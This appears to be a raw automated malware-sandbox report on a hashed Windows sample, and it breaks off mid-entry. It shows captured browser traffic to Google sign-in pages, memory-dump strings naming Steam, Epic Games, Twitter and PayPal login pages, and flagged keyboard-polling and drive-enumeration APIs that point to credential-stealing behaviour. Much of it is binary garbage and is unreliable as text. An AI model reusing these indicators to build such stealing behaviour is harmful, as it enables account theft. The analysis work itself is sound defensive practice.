ch-ua-platform-version=*reporting-endpoints: default="/v3/signin/_/AccountsSignInUi/web-reports?context=eJwNw11IU2EABmAZfm9iBWqWtiBEClowm2IqGEFJyXK_nH1zjnIpWziwTbez4U9oZnphERbpwIIgkjKpIKIikG6SkrAfXXQ0q5uKxMKKlEKh3geedC11Z7o-pWKHPmUs_5Fu35FPugM8uG5eN8Q9My9EgtWrL0Uv9_Flbjj6WjRyYd6UqODw0JSIsqV6Wjg4kpsUp9lQlhRGfmLQxDP-1aaJ7HZNVCxropI3zb4Tep5IzolJXm97LzJ59aQZKV1mfK2swjdWn1ehhTu5m5c-VuEv3zNa8JCvT1tw4YsFg2wosMLIy1Er0lQrFnptWOTRARvucOl5O8r59n077nLqdzv0Tge28nY2cBGX8Ei3A7d4lj9w6IEDER5_68AEe_OcqOXxRicm-No5J25w-LETUf6xUcFvzshVkM0_SxQs8aE9Cmx8Uyr4XKdgnv_wKm-oV5DDnmEFhzn-T0GTzwWV27mTwydcsCRcaMuU6GAtS2KO3-RIzPCwlBjheFDC3CJxpVXC1CtRzAtnJBa5-KJE81OJGPdNSgRr3DjOXWNu9PBZ7ucEX2L3lmp4uXSzB-Wc2OvB_lEPDrJ_pQa1Zi-iA9vWdPApzlqb9mqlL4kMrX_Kk7-rPtzsC_oDITWoth6LhENqIOSvi6kNsWA0EIkHIr4iU1GJqaywsMC029dk-g_eNezj"Content-Encoding: gzipServer: ESFX-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "00000001001�9c�,�A�0�|�>pCM?�x@HMj�8�c��=��e/3��i�Ѿ;��J^�c]�<��7p+��lRX��ڰ��6��]C��-֦Tk�4�Z�s��IXp��唲�])V��x��/d�I(�a8�JntFb�rb��", "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:dr73M2YvLXPhC5LqStb7YvxdaoGMXw:twop-qyk05x_PlXe", "HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: DENYVary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Sitex-auto-login: realm=com.google&args=continue%3Dhttps://accounts.google.com/x-ua-compatible: IE=edgeCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 17 Aug 2026 07:52:48 GMTStrict-Transport-Security: max-age=31536000; includeSubDomainsContent-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreportContent-Security-Policy: script-src 'nonce-az7PREbEv7XvXdx1VSoGlQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self'Report-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]}Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-wow64=*, ch-ua-form-factors=*, ch-ua-platform=*, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Resource-Policy: same-siteCross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi"reporting-endpoints: default="/v3/signin/_/AccountsSignInUi/web-reports?context=eJwNw1tIk2EABmAbfm8hBtMO2oIQKWiBtg2dglGUmCzn3Pr3zSnV0lw4qE233-EhPKIXFtFJDbsIIkkbFUR0guymSAnLdNE0qxuLxMKKlEKh3geehNn4HQm6uIPbdXFprkea4fTHmr2HZzUF3Js4p-nnzqlX4iKr116Ldu7my1x99I04wca0CbGHA_0TIsTW0klh52BqVLSyPjcqMviZPiZG-FdjTGibYiJ_KSYKeeP0e6Hj0eiMGOO1tg8iiVdaLYhrs-BrYRG-sfqyCPXcwh28-KkIf_lehhUP-cakFRe-WNHL-sxiZPBSqBjxajHmu2xY4EiPDXc453wJ8vj2_RLc5fjvJdA57NjC21jPJjbzUIcdt3iaP7L_gR1Bfv7OjlH2pDlwjLOdDuTz9bMODHLgqQMh_rFBwW_WpipYzz_NChb5wC4FNr4pFXyuUDDHf3iF11UqSGH3gIJDHP6noMbjhMpN3MKBU05Y-5xoTJJo5liyxAy_TZGY4gEpMcRhn4SlXuJqg4ShSyKL509LLHDWJYnaFxJ13D0m4Stz4SS3PXGhk8_wOe7jK-zaXIpyztnkRh737XZjX8SN_Vy1XAZ7QTmcfMRSjlDP1tXN3M7JiWvGl7uj0I5EhsdXpe-sDNR6fFVev-pTG44HA37V66-qqFOr63whbzDsDXpMBpPZkGs0ZhqyPTWG_3kK7zc"Content-Encoding: gzipServer: ESFX-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "0000000100000001�0000000100000001000000010000000100000001000000010000000100000001�00000001,00000001�00000001A0000000100000001�000000010000000010000000100000001�0000018a|�>pCM?�x@HMj�8�c��=��e/3��i�Ѿ;��J^�c]�<��7p+��lRX��ڰ��6��]C��-֦Tk�4�Z�s��IXp��唲�])V��x��/d�I(�a8�JntFb�rb��", "00000001�000000010000000100000001�00000001�00000001600000001�00000001�00000001x00000001�00000001�00000001�00000001z0011048�׾��c��$�M�\;�a�p{��?B��f�z�$��+om�2�P��Q;>��3�lp+��Cpd�4=֙:�!��G�3��z��|��\t�U��<}��W�:3n�o?|��M��ˏ��z:��OO��x�>�/?x:}�=w��ݻz�$T��ν�WW��ӗ`��y�Q3-�o,p#}�I_�գ��:��Yϲ.�sO}�/�m�ڟ�No6W��ܚ>d_�r]��9�}Ͱցl�;��Z��ʡ�X�\6׮��t��"u��ڞ��;�蓭��d��'��<��ۭ@�lp��Bo'�p��.��d�|o��+��4B��s��<�r�֡��)Ԕ��'��ji��OC��=�~��`�L2�60Cz �V�P�鱚Ϝc%h��-�P��eݳ=��gډ"E��'7�m��&0N�G"��kf|��l�`��+�6<{��E��R0Yy�@�6P)�1TB0!Fi��QR�4�E6l�'h�Öf��w(��B�ǟr2A@�/c�.^�T��D:�[��b�(��},�DRiXJ�>��E�u��'��@��oi�9�� C4*��R'��1.0�nId��Td�ZO��c�ֹV7fv)��ꨃ��1��M:]�{t�ѧ��?.2M�gq��0�XR��B��1b�3؀�62�Fy��w3^X�'؛��Q)�V ��2I��+1��z�53uh�A�lVSǥW9�%�Y�e&��Zt��8X˨M�-Ս� K��`�K4zc��x�Re��Kh2�{Ã��|^��1�2��:J�8.�V$�1�Z��N_��y垝�r]/��CP�I�YcW��u�\� �!��I.��d�<��]]��ςk�3aX�Ӥn�%��?��G�W�a��m�vW[�F��X��._o��נEM}��~�c�WR��gG�a|%h��י��@d��G@W��4�ų3��m+g��{JذǆhЖ�", "\��@W��E9�D-.8��%��`3'�� 9��8�l�vl�H��I>0�y[$WHjH�GH�I��t�3đ��4f4&�c}�/��)��.�o��{Dqº�8��ف�'�h�z��yc��ɲ�}ḯg�t�`�EZ��>��XI��%�W��7��F�N��Z@lU{W*��T�ْT�&�5)�H��*5�Lmm��{��pf�w�xj̗�?��w�y�Ӡֹ�' 9��uZ�M��Vх��-(G��JkE��3\m�:G GJW,��I��j�F>@��vfq��S�Fe�p^�q��_Z�X�i=��j1p��өc�,��4��r�a`�6hM��f�2��(k|He;�/6�WI^�qhlAK'��R�.��8(��:�Ǭw��*87;k�ƫ�W�kCm��D�E%N�U��T�K�:v�]g\s��ՠ��S6vu4�!U\4$�ƨiqi��Y�:F��1�h�Sthe��D��D� th��ʋd��⫭r3g?� ��V��*�I�8��.�R�B�"�֫��#+X?��Uɏ{�2�4�n%존��9!��Yi`u�dQ�� `��+S^�^پ)��73��%i��NMؓ�b��g/��َN��"�U�d�5�5̂��c��1�J��D�h\��m��*��:}��'�{h��\�h;�a��B��@�f<��;Qr�u�6ĝ/%��f'Q�]�LzJdEwن=�Ni��MI�쥛dJ��6Ju~��B7��[J>��Pz1g��:v�E�~4� �Ϟ��K��k��qZ�]�L��\}7G��7J)��y��58�qCwbd�5��T�ە��W��xX�;Ȓ��`��Z�_��W��2k^��;�͜Z�k�S̋�GM�ԕ�a��0�v��M��y�Y��FU�$v�&hnhAo��`^!ȅhq,Ђt��(Y��V��Q|dl��ݴ:�Q�*z�dBF0�<� �G$��8[_�Sh��;��y�^{��.�h�p��OOn��P�Ǧ5r�&��5��$�#��?��Nx�2��8,�Ǵ$i��*²��X��F#�mCjvy1��&��F�~��}�;|��ګ��{�ͼ�M��k6�b~��,;��7nR�'3:H��$ԥL��cٷ��I<=9�eN�)zg�d�n"� ـu�ѯ��L�@Qph��j|}t�I�M.��4�grs˯�VT4��D�x�׸"62:T1a0a,Found URL "https://accounts.google.com/auditpolicygpinterop.dllauxiliarydisplaycpl.dll:\windows\system32\ieframe.dllchxreadingstringime.dll:\windows\system32\propsys.dlldevicepairingfolder.dlldevicepairinghandler.dlldevicepairingproxy.dllaenumeratelogonsessions:\windows\system32\ieframe.dllttps://accounts.google.com/ttps://accounts.google.com/locationnotifications.exettps://accounts.google.com/ttps://accounts.google.com/mcupdate_genuineintel.dllmediametadatahandler.dllelevatecreateprocesswrpmitigationapphelp.dllen-usen-usar-sapt-brzh-twzh-cnzh-hkcs-czda-dkel-gres-esfi-fifr-frde-dehe-ilhu-huit-itja-jpko-krnl-nlnb-nopl-plpt-ptru-rusv-setr-trbg-bghr-hret-eelv-lvlt-ltro-rosr-latn-cssk-sksl-sith-thuk-uafy-nlqps-plocqps-plocm:\windows\apppatch\aclayers.dll127p52c64b7ehon36-32\:\windows\system32\winspool.drvhon\pyth_:\windows\system32\setupapi.dllmp\_:\windows\system32\cfgmgr32.dll:\windows\system32\sfc.dllms-win-core-processthreads-l1-1-0:\windows\apppatch\acgenral.dllutoitdata=c:\users\hapubws\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00005628.00000000.76333.00660000.00000004.mdmp") Found URL "https://accounts.google.com/arse" - Source: "00000000-00005628.00000000.76333.00660000.00000004.mdmp") Found URL "https://accounts.google.com/pushprinterconnections.exerestartmanageruninstall.mofsystempropertiesadvanced.exesystempropertiesremote.exewindowsanytimeupgradeui.exeware\microsoft\oleaut:\windows:\windows\inf:\windows\inf:\windowsnsufficient" - Source: "00000000-00005628.00000000.76333.00660000.00000004.mdmp") Found URL "https://accounts.google.com:\users\hapubws\appdata\local\temp\ixp003.tmp\1sx49ye8.exeummy://url/sx49ye8.exe\winc:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\istry\user\s-1-5-21-2092356043-4041700817-663127204-1001_classes:\program" - Source: "00000000-00005628.00000000.76333.00660000.00000004.mdmp") Found URL "https://accounts.google.com/ttpsc:\windows\system32\ieframe.dll928" - Source: "00000000-00005628.00000000.76333.00660000.00000004.mdmp") Found URL "https://accounts.google.com/c:\program" - Source: "00000000-00005628.00000000.76333.00660000.00000004.mdmp") Found URL "https://accounts.google.com/:\users\hapubws\appdata\local\temp\ixp003.tmphttps://accounts.google.com/https://accounts.google.com/https://accounts.google.com/:\program" - Source: "00000000-00005628.00000000.76333.00660000.00000004.mdmp") Found URL "https://accounts.google.com/arse" - Source: "00000000-00005628.00000001.78200.00660000.00000004.mdmp") Found URL "https://accounts.google.com/pushprinterconnections.exettps://www.epicgames.com/id/loginttps://twitter.com/i/flow/loginttps://www.epicgames.com/id/loginwindowsanytimeupgradeui.exeware\microsoft\oleautindows:\windows\inf:\windows\infindowsfficient" - Source: "00000000-00005628.00000001.78200.00660000.00000004.mdmp") Found URL "https://www.youtube.com/api-ms-win-core-rtlsupport-l1-1-0.dllapi-ms-win-core-sysinfo-l1-1-0.dllapi-ms-win-core-threadpool-l1-1-0.dllapi-ms-win-crt-filesystem-l1-1-0.dllhttps://www.youtube.com/https://www.youtube.com/https://www.youtube.com/api-ms-win-security-sddl-l1-1-0.dllapi-ms-win-service-core-l1-1-0.dllapi-ms-win-service-winsvc-l1-1-0.dllauxiliarydisplayclassinstaller.dllf8f8fommonprogramfiles=c:\program" - Source: "00000000-00005628.00000001.78200.00660000.00000004.mdmp") Found URL "https://twitter.com/i/flow/login\?\volume" - Source: "00000000-00005628.00000001.78200.00660000.00000004.mdmp") Found URL "https://twitter.com/i/flow/loginpcserverregisternregistertraceguids:\program" - Source: "00000000-00005628.00000001.78200.00660000.00000004.mdmp") Found URL "https://acqs.google.com/c:\program" - Source: "00000000-00005628.00000001.78200.00660000.00000004.mdmp") Found URL "https://steamcommunity.com/openid/loginform/https://steamcommunity.com/openid/loginform/https://steamcommunity.com/openid/loginform/https://steamcommunity.com/openid/loginform/:\users\hapubws\appdata\local\temp\ixp003.tmp\1sx49ye8.exeetdrivetyperedenumerateaww.paypal.comettimerww.paypal.comsiscanbufferummy://url/losethemedatasx49ye8.exeetdrivetype\winc:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\c:\program" - Source: "00000000-00005628.00000001.78200.00660000.00000004.mdmp") Found URL "https://accounts.google.com/c:\program" - Source: "00000000-00005628.00000001.78200.00660000.00000004.mdmp") Found URL "https://www.epicgames.com/id/loginhttps://www.epicgames.com/id/loginhttps://www.epicgames.com/id/loginhttps://www.epicgames.com/id/loginhttps://www.epicgames.com/id/loginc_20880.nlsc_20905.nlsc_20924.nlsc_20932.nls0936.nlsc_20949.nlsc_2102c_21027.nlsc_21866.nlsc_28591.nlsc_28592.nls8593.nlsc_28594.nlsc_2859c_28596.nlsc_28597.nlsc_28598.nlsc_28599.nls8603.nlsc_28605.nlsc_g180c_is2022.dllc_iscii.dlld3d10core.dlld3d10warp.dll10_1.dlld3d8thk.dlld3dim7d3dramp.dlld3dxof.dll1c00000iclsid\" - Source: "00000000-00005628.00000001.78200.00660000.00000004.mdmp") Found URL "https://twitter.com/i/flow/login9ye8.exeogram" - Source: "00000000-00005628.00000001.78200.00660000.00000004.mdmp") Found URL "https://store.steampowered.com/login/ta\oracle\java\j\system3ndows\systembem;c:\windoubws\appdata\local\programs\pythython3serdomaiile=c:\ins7162488,5836,3141,,loadresource,kernel32.dll," - Source: "00000000-00005628.00000001.78200.00660000.00000004.mdmp") Found URL "https://accounts.google.com/ttps://steamcommunity.com/openid/loginform/ttps://steamcommunity.com/openid/loginform/https://accounts.google.com/https://accounts.google.com/xt-ms-win-kernel32-package-current-l1-1-0.dll:\users\hapubws\appdata\local\temp\ixp003.tmphttps://accounts.google.com/https://accounts.google.com/:\program" - Source: "00000000-00005628.00000001.78200.00660000.00000004.mdmp") Found URL "https://accounts.google.com/0002000000igninc:\users\hapubws\appdata\local\temp\ixp003.tmphttps://accounts.google.com0069006300650020005000610063006b0020003100000000000300000064e4be0270e4be0238e6be02a2e0d769d5196ffffffb8e5be0216bcd669c477c36311000000ece4be02b8e5be0220bcd6698205000000005c6a010000002fbcd66920082050000c477c36311000000000000000000000000010000000300000004000000010000000000000001cf6d6c0c664657800000000000000000000000000000000000000000000000000000100000000000000000200000003000000040010000000000000001cf6d6c0c2461706952657475726e0000000000000000000000000000000000000000000002000g7162488,5836,3,hmodule,0,0,,6fd3000080677162488,5836,3,hresinfo,1,0,,6fd5b20806,5836,3,lptype,2,0,,a76778594,5836,3,fwinini,3,0,,2f8f8f4mdl5kml5\cl5\tl5" - Source: "00000000-00005628.00000001.78200.00660000.00000004.mdmp")63:T5b4,Found string "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") file/memory contains long string with (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.facebook.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /rsrc.php/y1/r/ay1hV6OlegS.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoDNT: 1Connection: Keep-AliveHost: www.google.com" (Indicator: "HTTP/1.1"; File: "SSL") Found string "GET /id/login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.epicgames.comDNT: 1Connection: Keep-Alive" (Indicator: "HTTP/1.1"; File: "SSL")64:Taeb,GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.cn GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog GET /r/r1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /r/r1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Wed 11 Feb 2026 14:38:00 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/75r4ZyA3vA0.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/75r4ZyA3vA0.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Mon 17 Aug 2026 07:11:35 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/oBFYYahzgVI.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /r/gsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /r/r4.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /we1/pl4XiTjSDSk.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /we1/FARePxy0M2M.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /we1/G0k-BqpOX8k.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog GET /rootg2.cer HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crt.rootg2.amazontrust.com GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.rootg2.amazontrust.com GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.rootca1.amazontrust.com GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.r2m04.amazontrust.com 65:Td6b,Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfq" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base62 string in header "hLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQ" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base62 string in header "P4v0cB1JgmGggC72NkK8MCEA59dSNcqDd" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base62 string in header "MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIf" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base62 string in header "aREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base62 string in header "MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPW" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base62 string in header "2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base62 string in header "MFEwTzBNMEswSTAJBgUrDgMCGgUABBTih" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m04.amazontrust.com" Contains base62 string in header "uFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYV" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m04.amazontrust.com" Contains base62 string in header "2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m04.amazontrust.com"66:T9f2,Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "UnregisterHotKey" (Indicator: "UnregisterHotKey"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "VkKeyScanW" (Indicator: "VkKeyScan"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "RegisterHotKey" (Indicator: "RegisterHotKey"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "RegisterHotKey" (Indicator: "RegisterHotKey"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp") Found reference to API "UnregisterHotKey" (Indicator: "UnregisterHotKey"; Source: "00000000-00003848.00000000.79199.01338000.00000004.mdmp") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "VkKeyScanW" (Indicator: "VkKeyScan"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "UnregisterHotKey" (Indicator: "UnregisterHotKey"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "RegisterHotKey" (Indicator: "RegisterHotKey"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp")67:T446,Found reference to API "GetDriveTypeA" (Indicator: "GetDriveType"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetDriveTypeW" (Indicator: "GetDriveType"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "GetLogicalDrives" (Indicator: "GetLogicalDrives"; File: "00003236.00000CA4.996429.00402000.wprm") Found reference to API "GetDriveTypeW" (Indicator: "GetDriveType"; Source: "00000000-00003368.00000000.79557.00AC8000.00000004.mdmp") Found reference to API "GetLogicalDrives" (Indicator: 